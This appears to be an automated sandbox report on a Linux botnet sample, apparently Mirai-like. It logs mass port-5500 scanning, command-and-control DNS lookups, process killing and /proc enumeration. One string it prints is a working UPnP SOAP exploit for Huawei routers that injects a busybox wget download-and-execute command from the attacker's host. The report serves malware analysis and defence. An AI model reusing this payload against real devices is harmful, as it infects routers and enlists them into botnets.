Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.158.127.185:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.15.244.133:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.67.145.55:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.206.33.21:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.229.110.130:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.70.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.23.17.106:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.157.11.9:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.183.43.25:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.187.154.241:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.186.37.105:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.251.101.154:5500
Source: global traffic TCP traffic: 192.168.2.14:48770 -> 5.181.156.131:2609
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.114.71.79:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.213.110.201:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.94.142.134:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.78.129.68:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.175.57.9:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.34.204.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.50.4.30:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.13.203.71:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.110.10.249:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.67.255.201:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.40.39.49:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.17.182.93:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.53.232.202:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.136.245.182:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.159.160.245:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.21.103.206:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.130.229.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.38.230.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.177.179.129:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.202.166.22:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.22.225.121:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.22.140.216:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.203.236.212:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.249.41.22:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.188.166.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.80.137.167:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.138.112.170:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.84.134.227:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.78.167.99:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.246.136.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.154.4.244:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.150.209.179:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.39.213.173:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.171.2.46:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.199.193.88:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.254.170.111:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.166.78.227:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.128.135.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.40.189.65:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.236.160.244:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.226.209.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.95.197.59:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.122.90.16:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.220.57.141:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.109.44.91:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.27.63.214:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.158.127.166:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.102.58.205:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.98.63.82:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.35.153.40:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.203.173.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.206.154.206:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.33.104.110:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.22.210.187:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.136.96.192:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.2.162.5:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.129.52.174:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.13.246.50:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.231.23.91:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.211.218.48:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.237.172.222:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.212.63.49:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.214.163.116:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.66.165.145:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.247.58.15:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.211.49.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.187.172.169:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.50.50.85:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.204.88.132:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.203.152.41:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.196.238.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.188.195.230:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.19.65.64:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.12.48.156:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.176.126.138:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.159.184.237:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.131.172.135:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.251.15.246:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.77.203.221:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.247.50.149:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.6.225.204:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.14.18.16:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.97.175.129:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.162.199.7:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.58.119.99:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.27.43.167:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.24.23.240:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.144.147.174:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.237.200.59:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.113.137.13:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.107.68.48:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.162.212.142:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.98.91.165:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.155.16.217:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.75.254.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.3.155.251:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.99.205.165:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.77.85.173:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.123.13.78:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.74.21.79:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.162.127.112:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.66.219.139:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.157.183.30:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.74.45.4:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.31.86.243:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.70.214.47:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.224.37.113:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.34.37.171:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.168.175.67:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.96.65.60:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.50.48.88:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.134.61.63:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.203.214.75:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.199.37.214:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.194.73.12:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.21.55.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.185.158.119:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.85.112.130:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.144.215.37:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.138.91.48:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.131.25.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.174.31.169:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.47.127.72:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.210.238.114:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.18.68.147:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.72.240.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.252.53.47:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.247.210.236:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.153.113.118:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.97.28.120:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.252.24.164:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.186.83.161:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.139.23.134:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.72.121.199:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.96.31.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.175.1.135:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.128.56.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.4.23.187:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.235.133.9:5500
Sample listens on a socket
Source: /tmp/RjeN8EvCIF.elf (PID: 5494) Socket: 127.0.0.1::41537 Jump to behavior
Source: unknown DNS traffic detected: queries for: cnc.chromies.cf
Source: unknown TCP traffic detected without corresponding DNS query: 213.32.69.220
Source: unknown TCP traffic detected without corresponding DNS query: 213.177.119.220
Source: unknown TCP traffic detected without corresponding DNS query: 213.141.55.51
Source: unknown TCP traffic detected without corresponding DNS query: 213.90.97.188
Source: unknown TCP traffic detected without corresponding DNS query: 213.149.97.52
Source: unknown TCP traffic detected without corresponding DNS query: 213.76.85.18
Source: unknown TCP traffic detected without corresponding DNS query: 213.65.96.54
Source: unknown TCP traffic detected without corresponding DNS query: 213.36.60.166
Source: unknown TCP traffic detected without corresponding DNS query: 213.230.27.90
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.60.218
Source: unknown TCP traffic detected without corresponding DNS query: 213.203.54.183
Source: unknown TCP traffic detected without corresponding DNS query: 213.169.94.131
Source: unknown TCP traffic detected without corresponding DNS query: 213.93.34.89
Source: unknown TCP traffic detected without corresponding DNS query: 213.165.183.28
Source: unknown TCP traffic detected without corresponding DNS query: 213.12.95.34
Source: unknown TCP traffic detected without corresponding DNS query: 213.204.129.35
Source: unknown TCP traffic detected without corresponding DNS query: 213.141.161.101
Source: unknown TCP traffic detected without corresponding DNS query: 213.19.141.143
Source: unknown TCP traffic detected without corresponding DNS query: 213.174.197.96
Source: unknown TCP traffic detected without corresponding DNS query: 213.123.56.242
Source: unknown TCP traffic detected without corresponding DNS query: 213.177.152.162
Source: unknown TCP traffic detected without corresponding DNS query: 213.175.207.0
Source: unknown TCP traffic detected without corresponding DNS query: 213.7.0.141
Source: unknown TCP traffic detected without corresponding DNS query: 213.148.30.178
Source: unknown TCP traffic detected without corresponding DNS query: 213.173.204.224
Source: unknown TCP traffic detected without corresponding DNS query: 213.163.120.254
Source: unknown TCP traffic detected without corresponding DNS query: 213.98.198.43
Source: unknown TCP traffic detected without corresponding DNS query: 213.136.178.23
Source: unknown TCP traffic detected without corresponding DNS query: 213.91.85.151
Source: unknown TCP traffic detected without corresponding DNS query: 213.92.116.120
Source: unknown TCP traffic detected without corresponding DNS query: 213.209.71.132
Source: unknown TCP traffic detected without corresponding DNS query: 213.91.136.117
Source: unknown TCP traffic detected without corresponding DNS query: 213.53.30.114
Source: unknown TCP traffic detected without corresponding DNS query: 213.66.111.218
Source: unknown TCP traffic detected without corresponding DNS query: 213.191.39.71
Source: unknown TCP traffic detected without corresponding DNS query: 213.139.248.127
Source: unknown TCP traffic detected without corresponding DNS query: 213.97.63.123
Source: unknown TCP traffic detected without corresponding DNS query: 213.165.204.6
Source: unknown TCP traffic detected without corresponding DNS query: 213.45.188.100
Source: unknown TCP traffic detected without corresponding DNS query: 213.60.235.157
Source: unknown TCP traffic detected without corresponding DNS query: 213.108.199.77
Source: unknown TCP traffic detected without corresponding DNS query: 213.79.177.159
Source: unknown TCP traffic detected without corresponding DNS query: 213.148.224.6
Source: unknown TCP traffic detected without corresponding DNS query: 213.123.242.64
Source: unknown TCP traffic detected without corresponding DNS query: 213.130.107.69
Source: unknown TCP traffic detected without corresponding DNS query: 213.16.218.90
Source: unknown TCP traffic detected without corresponding DNS query: 213.146.112.229
Source: unknown TCP traffic detected without corresponding DNS query: 213.182.43.65
Source: unknown TCP traffic detected without corresponding DNS query: 213.127.179.96
Source: unknown TCP traffic detected without corresponding DNS query: 213.79.150.3
Source: RjeN8EvCIF.elf String found in binary or memory: http://scan.chromies.cf/9x83HE5AFD/arm7.jade
Source: RjeN8EvCIF.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: RjeN8EvCIF.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary
barindex
Sample tries to kill multiple processes (SIGKILL)
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3129, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3184, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3187, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3188, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3189, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3190, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3193, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3207, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3215, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3341, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5502, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5510, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5511, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5512, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5513, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5514, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5515, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5533, result: successful Jump to behavior
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3129, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3184, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3187, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3188, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3189, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3190, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3193, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3207, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3215, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3341, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5502, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5510, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5511, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5512, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5513, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5514, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5515, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5533, result: successful Jump to behavior
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: classification engine Classification label: mal76.spre.troj.linELF@0/0@1/0
Creates hidden files and/or directories
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514) Directory: /home/saturnino/.cache Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514) Directory: /home/saturnino/.local Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514) Directory: /home/saturnino/.config Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5533) Directory: /home/saturnino/.cache Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5533) Directory: /home/saturnino/.local Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5533) Directory: /home/saturnino/.config Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5533) Directory: /home/saturnino/.config Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3760/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3760/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3760/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3761/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3761/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3761/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2672/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2672/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2672/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1583/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1583/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1583/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3244/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3244/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3244/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3120/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3120/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3120/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3361/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3361/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3361/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3239/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3239/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3239/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1577/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1577/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1577/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1610/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1610/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1610/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/512/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/512/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/512/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1299/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1299/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1299/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3235/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3235/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3235/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/514/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/514/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/514/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/5533/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/5533/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/5533/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/519/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/519/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/519/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2946/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2946/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2946/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/917/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/917/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/917/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3134/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3134/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3134/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1593/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1593/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1593/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3011/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3011/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3011/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3094/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3094/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3094/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2955/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2955/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2955/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3406/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3406/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3406/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1589/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1589/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1589/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3129/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3129/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3129/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1588/cmdline Jump to behavior
